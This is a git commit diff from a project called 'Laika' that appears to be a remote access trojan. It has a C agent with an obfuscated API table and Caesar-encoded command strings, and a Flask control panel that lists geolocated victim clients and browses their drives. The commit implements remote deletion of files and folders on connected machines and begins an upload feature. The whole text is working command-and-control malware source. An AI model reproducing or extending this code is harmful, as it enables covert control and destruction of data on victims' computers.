remove fonctionne
manque les fonctions download/upload de l'agent
This commit is contained in:
@@ -1,14 +1,6 @@
|
|||||||
#include "file_explorer.h"
|
#include "file_explorer.h"
|
||||||
#include "utils.h"
|
#include "utils.h"
|
||||||
|
|
||||||
int delete_file(char* path) {
|
|
||||||
return Api.remove(path);
|
|
||||||
}
|
|
||||||
|
|
||||||
int delete_dir(char* path) {
|
|
||||||
return Api.rmdir(path);
|
|
||||||
}
|
|
||||||
|
|
||||||
int get_object_info(char* path, struct stat* fileinfo) {
|
int get_object_info(char* path, struct stat* fileinfo) {
|
||||||
return Api.stat(path, fileinfo);
|
return Api.stat(path, fileinfo);
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -14,8 +14,6 @@
|
|||||||
|
|
||||||
extern API Api;
|
extern API Api;
|
||||||
|
|
||||||
int delete_file(char* path);
|
|
||||||
int delete_dir(char* path);
|
|
||||||
int get_object_info(char* path, struct stat* fileinfo);
|
int get_object_info(char* path, struct stat* fileinfo);
|
||||||
int get_drives_list(char* buf);
|
int get_drives_list(char* buf);
|
||||||
char* get_file_list(const char* dirPath, int* numFiles);
|
char* get_file_list(const char* dirPath, int* numFiles);
|
||||||
|
|||||||
18
Laika/main.c
18
Laika/main.c
@@ -195,14 +195,7 @@ retry:
|
|||||||
goto retry;
|
goto retry;
|
||||||
}
|
}
|
||||||
|
|
||||||
delete_file(path);
|
Api.remove(CAESAR_DECRYPT(path));
|
||||||
|
|
||||||
if (Api.send(sock, "itsj", strlen("itsj"), 0) < 0) { //done
|
|
||||||
//send failed
|
|
||||||
Api.free(path);
|
|
||||||
Sleep_(Sleep_TIME);
|
|
||||||
goto retry;
|
|
||||||
}
|
|
||||||
|
|
||||||
Api.free(path);
|
Api.free(path);
|
||||||
}
|
}
|
||||||
@@ -219,14 +212,9 @@ retry:
|
|||||||
goto retry;
|
goto retry;
|
||||||
}
|
}
|
||||||
|
|
||||||
delete_dir(path);
|
Api.rmdir(CAESAR_DECRYPT(path));
|
||||||
|
|
||||||
if (Api.send(sock, "itsj", strlen("itsj"), 0) < 0) { //done
|
Api.free(path);
|
||||||
//send failed
|
|
||||||
Api.free(path);
|
|
||||||
Sleep_(Sleep_TIME);
|
|
||||||
goto retry;
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if (Api.strncmp(server_reply, "ljydtgodnskt", strlen("ljydtgodnskt")) == 0) { //get_obj_info
|
if (Api.strncmp(server_reply, "ljydtgodnskt", strlen("ljydtgodnskt")) == 0) { //get_obj_info
|
||||||
|
|||||||
@@ -155,40 +155,9 @@
|
|||||||
|
|
||||||
if (action != "upload") {
|
if (action != "upload") {
|
||||||
to_send = to_send.concat(get_checked_rows());
|
to_send = to_send.concat(get_checked_rows());
|
||||||
} else {
|
|
||||||
// Open file explorer and get selected file
|
|
||||||
var promise = new Promise(function(resolve, reject) {
|
|
||||||
var input = document.createElement('input');
|
|
||||||
input.type = 'file';
|
|
||||||
input.onchange = function(event) {
|
|
||||||
var file = event.target.files[0];
|
|
||||||
if (file) {
|
|
||||||
var fullpath = file.webkitRelativePath || file.name; // get full path or name if not supported
|
|
||||||
resolve(fullpath);
|
|
||||||
} else {
|
|
||||||
reject('No file selected');
|
|
||||||
}
|
|
||||||
};
|
|
||||||
input.click();
|
|
||||||
});
|
|
||||||
|
|
||||||
promise.then(function(fullpath) {
|
|
||||||
to_send.push(fullpath);
|
|
||||||
console.log(to_send);
|
|
||||||
|
|
||||||
// Send an AJAX request to the Flask app to retrieve the updated data
|
|
||||||
$.ajax({
|
|
||||||
type: 'POST',
|
|
||||||
url: '/interact',
|
|
||||||
contentType: "application/json",
|
|
||||||
data: JSON.stringify({ to_send })
|
|
||||||
});
|
|
||||||
}).catch(function(error) {
|
|
||||||
console.error(error);
|
|
||||||
});
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if (to_send.length > 1 && action != "upload") {
|
if (to_send.length > 1 || action == "upload") {
|
||||||
console.log(to_send);
|
console.log(to_send);
|
||||||
|
|
||||||
// Send an AJAX request to the Flask app to retrieve the updated data
|
// Send an AJAX request to the Flask app to retrieve the updated data
|
||||||
|
|||||||
@@ -4,6 +4,7 @@ from geoip import geolite2
|
|||||||
from flask import Flask, request, send_file, render_template, send_from_directory, jsonify
|
from flask import Flask, request, send_file, render_template, send_from_directory, jsonify
|
||||||
from threading import Thread
|
from threading import Thread
|
||||||
import os, sys, time
|
import os, sys, time
|
||||||
|
import easygui
|
||||||
import select
|
import select
|
||||||
import socket
|
import socket
|
||||||
import logging
|
import logging
|
||||||
@@ -70,30 +71,63 @@ def index() :
|
|||||||
return send_file(index_path)
|
return send_file(index_path)
|
||||||
|
|
||||||
path_file_ex = ""
|
path_file_ex = ""
|
||||||
|
path_file_ex_2 = ""
|
||||||
|
FILES_=[]
|
||||||
|
CLIENT_IN_PATH = None
|
||||||
|
|
||||||
@app.route('/interact', methods=['POST'])
|
@app.route('/interact', methods=['POST'])
|
||||||
def interact() :
|
def interact() :
|
||||||
file_list = request.get_json()["to_send"]
|
file_list = request.get_json()["to_send"]
|
||||||
action = file_list.pop(0)
|
action = file_list.pop(0)
|
||||||
|
|
||||||
|
if CLIENT_IN_PATH == None : return "no client"
|
||||||
|
client = CONNECT_CLIENTS[CLIENT_IN_PATH]
|
||||||
|
|
||||||
print(file_list)
|
print(file_list)
|
||||||
|
|
||||||
|
files = []
|
||||||
|
if action != "upload" :
|
||||||
|
for f in file_list :
|
||||||
|
files.append(f.split('">')[1].replace("</a>",""))
|
||||||
|
|
||||||
match action :
|
match action :
|
||||||
case "download" :
|
case "download" :
|
||||||
print("d")
|
print(files)
|
||||||
|
|
||||||
case "upload" :
|
case "upload" :
|
||||||
print("u")
|
filename = easygui.fileopenbox()
|
||||||
|
|
||||||
|
if filename == None or path_file_ex_2 == "" :
|
||||||
|
return 'no file selected'
|
||||||
|
|
||||||
|
print(f"{filename} --> {path_file_ex_2}")
|
||||||
|
|
||||||
case "remove" :
|
case "remove" :
|
||||||
print("r")
|
for i in files :
|
||||||
|
path = path_file_ex_2 + i
|
||||||
|
if i in FILES_ :
|
||||||
|
#call remove file
|
||||||
|
client.send(CAESAR("del_file\0").encode())
|
||||||
|
|
||||||
|
client.send(CAESAR(path + "\0").encode())
|
||||||
|
|
||||||
|
time.sleep(0.05)
|
||||||
|
else :
|
||||||
|
#call remove folder
|
||||||
|
client.send(CAESAR("del_dir\0").encode())
|
||||||
|
|
||||||
|
client.send(CAESAR(path + "\0").encode())
|
||||||
|
|
||||||
|
time.sleep(0.05)
|
||||||
|
|
||||||
return 'ok'
|
return 'ok'
|
||||||
|
|
||||||
FILES_=[]
|
|
||||||
@app.route('/get_data', methods=['POST'])
|
@app.route('/get_data', methods=['POST'])
|
||||||
def get_data() :
|
def get_data() :
|
||||||
global path_file_ex
|
global path_file_ex
|
||||||
|
global path_file_ex_2
|
||||||
global FILES_
|
global FILES_
|
||||||
|
global CLIENT_IN_PATH
|
||||||
data = []
|
data = []
|
||||||
|
|
||||||
got_path = request.get_data().decode("latin-1")
|
got_path = request.get_data().decode("latin-1")
|
||||||
@@ -131,6 +165,7 @@ def get_data() :
|
|||||||
path_parts = path_file_ex.split("/")
|
path_parts = path_file_ex.split("/")
|
||||||
client_num = int(path_parts.pop(0).replace("Client n°",""))
|
client_num = int(path_parts.pop(0).replace("Client n°",""))
|
||||||
if client_num != i : continue
|
if client_num != i : continue
|
||||||
|
|
||||||
client.send(CAESAR("get_drives").encode())
|
client.send(CAESAR("get_drives").encode())
|
||||||
drives = recv_message_ret(client).decode("utf-8")
|
drives = recv_message_ret(client).decode("utf-8")
|
||||||
for d in drives :
|
for d in drives :
|
||||||
@@ -143,7 +178,7 @@ def get_data() :
|
|||||||
client_num = int(path_parts.pop(0).replace("Client n°",""))
|
client_num = int(path_parts.pop(0).replace("Client n°",""))
|
||||||
if client_num != i : continue
|
if client_num != i : continue
|
||||||
path_parts[0] = path_parts[0] + ":"
|
path_parts[0] = path_parts[0] + ":"
|
||||||
|
CLIENT_IN_PATH = i
|
||||||
if path_parts[len(path_parts)-2] in FILES_ :
|
if path_parts[len(path_parts)-2] in FILES_ :
|
||||||
path_parts.pop(len(path_parts)-2)
|
path_parts.pop(len(path_parts)-2)
|
||||||
path_file_ex_parts = path_file_ex.split("/")
|
path_file_ex_parts = path_file_ex.split("/")
|
||||||
|
|||||||
@@ -1,4 +1,5 @@
|
|||||||
colorama
|
colorama
|
||||||
prettytable
|
prettytable
|
||||||
|
easygui
|
||||||
python-geoip-python3
|
python-geoip-python3
|
||||||
python-geoip-geolite2
|
python-geoip-geolite2
|
||||||
Reference in New Issue
Block a user